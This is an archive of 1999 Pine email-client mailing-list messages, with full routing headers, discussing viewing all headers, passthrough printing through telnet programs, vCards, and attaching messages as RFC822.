ListProcessor(tm) by CREN just press 4R4 for rich headers when viewing a mail On Mon, 22 Feb 1999, Iris Mayer wrote: > How can I see all headers of my received mails. > PegasusMail offers a menu "view all headers", Netscape offers "show all > headers", Solaris Mailtool offers "view full header" - what is the equivalent in > pine? > > Thanks in advance, > Iris Mayer > > ---------------------------------------------------- > Iris Mayer > Computing Center > Mannheim University > D-68131 Mannheim > email: iris.mayer@rz.uni-mannheim.de > phone: ++49 621 292 3585 > fax: ++49 621 292 5220 > office: L15,16 (room 922) > -- Heute ist nicht alle Tage, ich komme wieder, keine Frage!!! Joerg From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 12:59:19 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA15068 for ; Mon, 22 Feb 1999 12:59:18 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA31235; Mon, 22 Feb 1999 12:59:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id MAA22598; Mon, 22 Feb 1999 12:56:22 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA23918 for ; Mon, 22 Feb 1999 12:52:54 -0800 Received: from calypso.view.net.au (calypso.view.net.au [203.30.237.210]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA01067 for ; Mon, 22 Feb 1999 12:52:51 -0800 Received: (from mtw@localhost) by calypso.view.net.au (8.9.1/8.9.1) id HAA08905; Tue, 23 Feb 1999 07:19:02 +1030 Message-Id: Date: Tue, 23 Feb 1999 07:19:02 +1030 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Michael Talbot-Wilson To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Daniel Sands X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999, Daniel Sands wrote: > There is no X-Windows pine IIRC. UNIX pine is text only. Probably because > the basic X toolkit is rather clumsy, and Motif is not included with every > UNIX clone out there. > > Maybe if Lesstif becomes viable, the Pine people will create a GUI for it. But there are, of course, other Unix mail clients for X. > > On Mon, 22 Feb 1999, Nancy McGough wrote: > > > How does the user interface of PC-Pine compare to Pine in X-Windows > > (or another windowing environment on Unix). Does the Unix version have > > drop-down menus, pop-up menus, etc.? Is it essentially the same UI as > > PC-Pine. > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 13:26:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA15763 for ; Mon, 22 Feb 1999 13:26:23 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA31899; Mon, 22 Feb 1999 13:26:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id NAA02724; Mon, 22 Feb 1999 13:24:18 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA44558 for ; Mon, 22 Feb 1999 13:21:22 -0800 Received: from bubba.NMSU.Edu (bubba.NMSU.Edu [128.123.3.39]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA15030 for ; Mon, 22 Feb 1999 13:21:21 -0800 Received: from dns1.NMSU.Edu (dns1.NMSU.Edu [128.123.3.5]) by bubba.NMSU.Edu (8.9.2/8.9.0) with ESMTP id OAA07403 for ; Mon, 22 Feb 1999 14:24:26 -0700 (MST) Received: from rhea.nmsu.edu (dante.NMSU.Edu [128.123.34.135]) by dns1.NMSU.Edu (8.9.0/8.9.0) with SMTP id OAA20571 for ; Mon, 22 Feb 1999 14:21:18 -0700 (MST) Received: from localhost by rhea.nmsu.edu (SMI-8.6/NMSU-1.18) id OAA18700; Mon, 22 Feb 1999 14:21:18 -0700 Message-Id: Date: Mon, 22 Feb 1999 14:21:18 -0700 (MST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: laura To: Pine Discussion Forum Subject: attached to ansi MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: lhundley@dante X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Does anyone know the specifics of why this command doesn't work on all printers that are directly attached to a computer? Is it more printer related? More OS related? or more related to the version of telnet being used? Could it be related to different versions of PINE? (used to work on an older version, now it doesn't) Any feedback would be greatly appreciated! Laura -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 14:01:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA16584 for ; Mon, 22 Feb 1999 14:01:20 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA24854; Mon, 22 Feb 1999 14:01:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id NAA04894; Mon, 22 Feb 1999 13:58:56 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id NAA49752 for ; Mon, 22 Feb 1999 13:56:06 -0800 Received: from nimbus.anzio.com (ras@nimbus.anzio.com [204.201.253.34]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA11476 for ; Mon, 22 Feb 1999 13:56:05 -0800 Received: from localhost (ras@localhost) by nimbus.anzio.com (8.7.5/8.7.3) with SMTP id NAA19806; Mon, 22 Feb 1999 13:36:27 -0800 Message-Id: Date: Mon, 22 Feb 1999 13:36:26 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Bob Rasmussen To: Pine Discussion Forum Subject: Re: attached to ansi In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: laura X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999, laura wrote: > Does anyone know the specifics of why this command doesn't work on all > printers that are directly attached to a computer? > Is it more printer related? > More OS related? > or more related to the version of telnet being used? > Could it be related to different versions of PINE? (used to work on an > older version, now it doesn't) We have experienced no problems with this in ANY version of Pine. Rather, it is an issue of how well your telnet (terminal emulation) program supports passthrough print. The TELNET.EXE included with Windows has NEVER supported it, as far as I know. Quality of support varies greatly among various available telnet programs. I invite you to try out Anzio Lite, which supports it quite well: http://www.anzio.com Regards, ....Bob Rasmussen, President, Rasmussen Software, Inc. personal e-mail: ras@anzio.com company e-mail: rsi@anzio.com or sales@anzio.com or support@anzio.com ftp://ftp.anzio.com voice: 503-624-0360 http://www.anzio.com fax: 503-624-0760 From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 14:07:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA12328 for ; Mon, 22 Feb 1999 14:07:52 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA25074; Mon, 22 Feb 1999 14:07:51 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id OAA27465; Mon, 22 Feb 1999 14:06:21 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA28332 for ; Mon, 22 Feb 1999 14:03:39 -0800 Received: from phsexchici.partners.org (phsexchici.mgh.harvard.edu [132.183.126.51]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA02111 for ; Mon, 22 Feb 1999 14:03:38 -0800 Received: from helix.mgh.harvard.edu by phsexchici.partners.org with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1459.30) id FGX78044; Mon, 22 Feb 1999 17:03:37 -0500 Received: from localhost by helix.mgh.harvard.edu (8.8.7/1.1.20.3/31Dec98-1151AM) id RAA0000024102; Mon, 22 Feb 1999 17:03:44 -0500 (EST) Message-Id: Date: Mon, 22 Feb 1999 17:03:43 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Dennis Gurgul To: Pine Discussion Forum Subject: Re: attached to ansi In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: laura X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The only telnet where this works for me is SmarTerm. Dennis J. Gurgul Helix Server Management 617.724.3169 On Mon, 22 Feb 1999, laura wrote: > Does anyone know the specifics of why this command doesn't work on all > printers that are directly attached to a computer? > Is it more printer related? > More OS related? > or more related to the version of telnet being used? > Could it be related to different versions of PINE? (used to work on an > older version, now it doesn't) > > Any feedback would be greatly appreciated! > > Laura > > -- > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 14:13:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA16884 for ; Mon, 22 Feb 1999 14:13:42 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA25261; Mon, 22 Feb 1999 14:13:40 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id OAA05893; Mon, 22 Feb 1999 14:12:04 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA49686 for ; Mon, 22 Feb 1999 14:09:18 -0800 Received: from usc.edu (usc.edu [128.125.253.136]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA11643 for ; Mon, 22 Feb 1999 14:09:17 -0800 Received: from Law.USC.EDU (law.usc.edu [128.125.42.6]) by usc.edu (8.8.8/8.8.8/usc) with SMTP id OAA09785 for ; Mon, 22 Feb 1999 14:09:16 -0800 (PST) Received: from faculty.Law.USC.EDU by Law.USC.EDU (4.1/SMI-4.1) id AA00938; Mon, 22 Feb 1999 14:04:59 PST Received: from l2122.usc.edu by faculty.Law.USC.EDU (4.1/SMI-4.1) id AA16935; Mon, 22 Feb 1999 14:18:08 PST Message-Id: Date: Mon, 22 Feb 1999 14:09:09 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Robert Larmon To: Pine Discussion Forum Subject: Re: attached to ansi In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-X-Sender: rlarmon@faculty-law.usc.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Ditto for us. We've never had any problems, except user error :) Our personal favorite is Netterm, which is at http://Starbase.NeoSoft.COM/~zkrr01/ I also like another package called CRT, at www.vandyke.com. Robert On Mon, 22 Feb 1999, Bob Rasmussen wrote: > On Mon, 22 Feb 1999, laura wrote: > > > Does anyone know the specifics of why this command doesn't work on all > > printers that are directly attached to a computer? > > Is it more printer related? > > More OS related? > > or more related to the version of telnet being used? > > Could it be related to different versions of PINE? (used to work on an > > older version, now it doesn't) > > We have experienced no problems with this in ANY version of Pine. Rather, it > is an issue of how well your telnet (terminal emulation) program supports > passthrough print. The TELNET.EXE included with Windows has NEVER supported > it, as far as I know. Quality of support varies greatly among various > available telnet programs. > > I invite you to try out Anzio Lite, which supports it quite well: > http://www.anzio.com > > Regards, > ....Bob Rasmussen, President, Rasmussen Software, Inc. > > personal e-mail: ras@anzio.com > company e-mail: rsi@anzio.com or sales@anzio.com or support@anzio.com > ftp://ftp.anzio.com voice: 503-624-0360 > http://www.anzio.com fax: 503-624-0760 > ``````````````````````````````````````````````````````````````````````` ` Robert Larmon ` ` PC Systems Analyst ` ` USC Law School Computing Services ` ` rlarmon@law.usc.edu ` ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 14:26:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA16470 for ; Mon, 22 Feb 1999 14:26:31 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA00736; Mon, 22 Feb 1999 14:26:29 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id OAA06689; Mon, 22 Feb 1999 14:24:34 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA47036 for ; Mon, 22 Feb 1999 14:21:47 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA13768 for ; Mon, 22 Feb 1999 14:21:45 -0800 Received: from aleph.ii.com ("port 1337"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J81W29SNME0013N5@mail1.new-york.net> for pine-info@u.washington.edu; Mon, 22 Feb 1999 17:21:36 -0500 (EDT) Message-Id: Date: Mon, 22 Feb 1999 17:20:47 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On 23 Feb 1999, Michael Talbot-Wilson wrote: > But there are, of course, other Unix mail clients for X. Yes, but are any of them as feature-rich and powerful as Pine? -- ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 15:18:55 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA18464 for ; Mon, 22 Feb 1999 15:18:54 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA27072; Mon, 22 Feb 1999 15:18:52 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id PAA02054; Mon, 22 Feb 1999 15:17:35 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA24000 for ; Mon, 22 Feb 1999 15:13:58 -0800 Received: from luomat.peak.org (port-56-ts2-gnv.da.fdt.net [209.212.132.87]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA03026 for ; Mon, 22 Feb 1999 15:13:53 -0800 Received: by luomat.peak.org (8.9.2/8.9.0) id SAA07381; Mon, 22 Feb 1999 18:13:36 -0500 (GMT-0500) Message-Id: <199902222313.SAA07381@ocalhost> Date: Mon, 22 Feb 1999 18:13:34 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: Re: Attachments in Pine In-Reply-To: References: Content-Type: text/plain MIME-Version: 1.0 X-To: Dan Wing X-Cc: Pine Discussion Forum X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Author: Dan Wing Date: Mon, 22 Feb 1999 07:59:46 -0800 (PST) ID: > vCards are something that can be useful. Arguments can be made for > how ugly they are, or that non-MIME readers may find them awkward, but > many folks appreciate them. MIME attachments will break most mailing list digests and archiving software and shouldn't be used on mailing lists. > I, for one, prefer someone attach a vCard rather than a huge > signature containing all their contact information. I prefer that people put all their contact information in 4 lines of 70 characters or less prefixed by '-- ' and a CR/LF TjL From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 16:51:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA20764 for ; Mon, 22 Feb 1999 16:51:11 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA29670; Mon, 22 Feb 1999 16:51:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id QAA17721; Mon, 22 Feb 1999 16:49:18 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA13254 for ; Mon, 22 Feb 1999 16:46:15 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id QAA08505 for ; Mon, 22 Feb 1999 16:46:13 -0800 Received: from aleph.ii.com ("port 1385"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J8213F3BJY0016PA@mail1.new-york.net> for pine-info@u.washington.edu; Mon, 22 Feb 1999 19:46:05 -0500 (EDT) Message-Id: Date: Mon, 22 Feb 1999 19:45:11 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Request: Insert Msg as Attachment MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN When you're composing a message and type ^R, you get this prompt: File to insert from c:\Home directory: ^G Get Help ^T To Files TAB Complete ^C Cancel ^W InsertMsg Being able to insert a message using ^W is a great thing, but as far as I can tell there isn't a way to easily insert a message as an attachment of type RFC822/Message. My request is that you make this possible and change this prompt to be something like this: File to insert from c:\Home directory: ^G Get Help ^T To Files TAB Complete ^C Cancel ^W InsertMsg ^A AttachMsg I want to be able to do this is because I keep copies of all my outgoing messages and I've got things set up so attachments aren't saved in my archives. This way Pine would automatically save whatever I write and not save the included message, which I've already got in my archives. This feature would also be useful for receivers of the attachment because then they could easily save just the attached msg in the appropriate folder or whatever other things their mailer lets them do with RFC822/Message attachments. Thanks, Nancy -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 18:46:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA22039 for ; Mon, 22 Feb 1999 18:46:03 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA06681; Mon, 22 Feb 1999 18:46:01 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id SAA15186; Mon, 22 Feb 1999 18:44:18 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA26778 for ; Mon, 22 Feb 1999 18:41:35 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id SAA14125 for ; Mon, 22 Feb 1999 18:41:35 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by pita.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id SAA23857; Mon, 22 Feb 1999 18:41:11 -0800 (PST) Message-Id: Date: Mon, 22 Feb 1999 18:41:11 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Dan Wing To: Pine Discussion Forum Subject: Re: Request: Insert Msg as Attachment In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Nancy McGough X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999 19:45 -0500, Nancy McGough wrote: > When you're composing a message and type ^R, you get this prompt: > > File to insert from c:\Home directory: > ^G Get Help ^T To Files TAB Complete > ^C Cancel ^W InsertMsg > > Being able to insert a message using ^W is a great thing, but as far > as I can tell there isn't a way to easily insert a message as an > attachment of type RFC822/Message. My request is that you make this > possible and change this prompt to be something like this: > > File to insert from c:\Home directory: > ^G Get Help ^T To Files TAB Complete > ^C Cancel ^W InsertMsg ^A AttachMsg > > I want to be able to do this is because I keep copies of all my > outgoing messages and I've got things set up so attachments aren't > saved in my archives. This way Pine would automatically save whatever > I write and not save the included message, which I've already got in > my archives. This feature would also be useful for receivers of the > attachment because then they could easily save just the attached msg > in the appropriate folder or whatever other things their mailer lets > them do with RFC822/Message attachments. Save your archived mail with a certain filetype, such as ".msg", and create an entry in your ~/.mime.types file (or whatever its equivalent is on DOS) to associate files of that type: message/rfc822 msg Seemed to work here, although pine's default "Content-Disposition: attachment" causes the message to not automatically be listed inline with Netscape V4.03 on WinNT. It would be nice if pine's mime.types could be extended to indicate a preference for Content-Disposition of "inline" or "attachment" for specific MIME types, but it isn't too critical. -Dan Wing From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 18:59:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA22249 for ; Mon, 22 Feb 1999 18:59:35 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA06908; Mon, 22 Feb 1999 18:59:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id SAA00452; Mon, 22 Feb 1999 18:58:23 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA22430 for ; Mon, 22 Feb 1999 18:55:12 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id SAA22713 for ; Mon, 22 Feb 1999 18:55:12 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by pita.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id SAA24260; Mon, 22 Feb 1999 18:55:08 -0800 (PST) Message-Id: Date: Mon, 22 Feb 1999 18:55:07 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Dan Wing To: Pine Discussion Forum Subject: Re: Request: Insert Msg as Attachment In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Cc: pine@cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On pine-info I wrote: > On Mon, 22 Feb 1999 19:45 -0500, Nancy McGough wrote: > > When you're composing a message and type ^R, you get this prompt: > > > > File to insert from c:\Home directory: > > ^G Get Help ^T To Files TAB Complete > > ^C Cancel ^W InsertMsg > > > > Being able to insert a message using ^W is a great thing, but as far > > as I can tell there isn't a way to easily insert a message as an > > attachment of type RFC822/Message. My request is that you make this > > possible and change this prompt to be something like this: > > > > File to insert from c:\Home directory: > > ^G Get Help ^T To Files TAB Complete > > ^C Cancel ^W InsertMsg ^A AttachMsg > > > > I want to be able to do this is because I keep copies of all my > > outgoing messages and I've got things set up so attachments aren't > > saved in my archives. This way Pine would automatically save whatever > > I write and not save the included message, which I've already got in > > my archives. This feature would also be useful for receivers of the > > attachment because then they could easily save just the attached msg > > in the appropriate folder or whatever other things their mailer lets > > them do with RFC822/Message attachments. > > Save your archived mail with a certain filetype, such as ".msg", > and create an entry in your ~/.mime.types file (or whatever its > equivalent is on DOS) to associate files of that type: > > message/rfc822 msg > > Seemed to work here, although pine's default "Content-Disposition: > attachment" causes the message to not automatically be listed inline with > Netscape V4.03 on WinNT. > > It would be nice if pine's mime.types could be extended to indicate a > preference for Content-Disposition of "inline" or "attachment" for > specific MIME types, but it isn't too critical. Hm, I noticed an odd bug with this. For some reason my pine 4.10 on Unix is marking the attachment with "Content-Transfer-Encoding: base64" but isn't actually base64-encoding the attachment (the attached .msg file is actually unencoded). There must be some code in pine that does something special for message/rfc822 (and doesn't mime-encode the attachment because it assumes any mime encoding would have already been done), but pine is doing that _after_ it decides it is attaching a file and all file attachments should contain "Content-Transfer-Encoding: base64". Unfortunately I don't have the time within the next few weeks to delve into this further. I could use such a feature myself, but have been Bouncing messages to Netscape's mailer because it currently has better support for including previous messages as message/rfc822 attachments. -Dan Wing From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 22 Feb 1999 23:58:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA25121 for ; Mon, 22 Feb 1999 23:58:08 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA03504; Mon, 22 Feb 1999 23:58:06 -0800 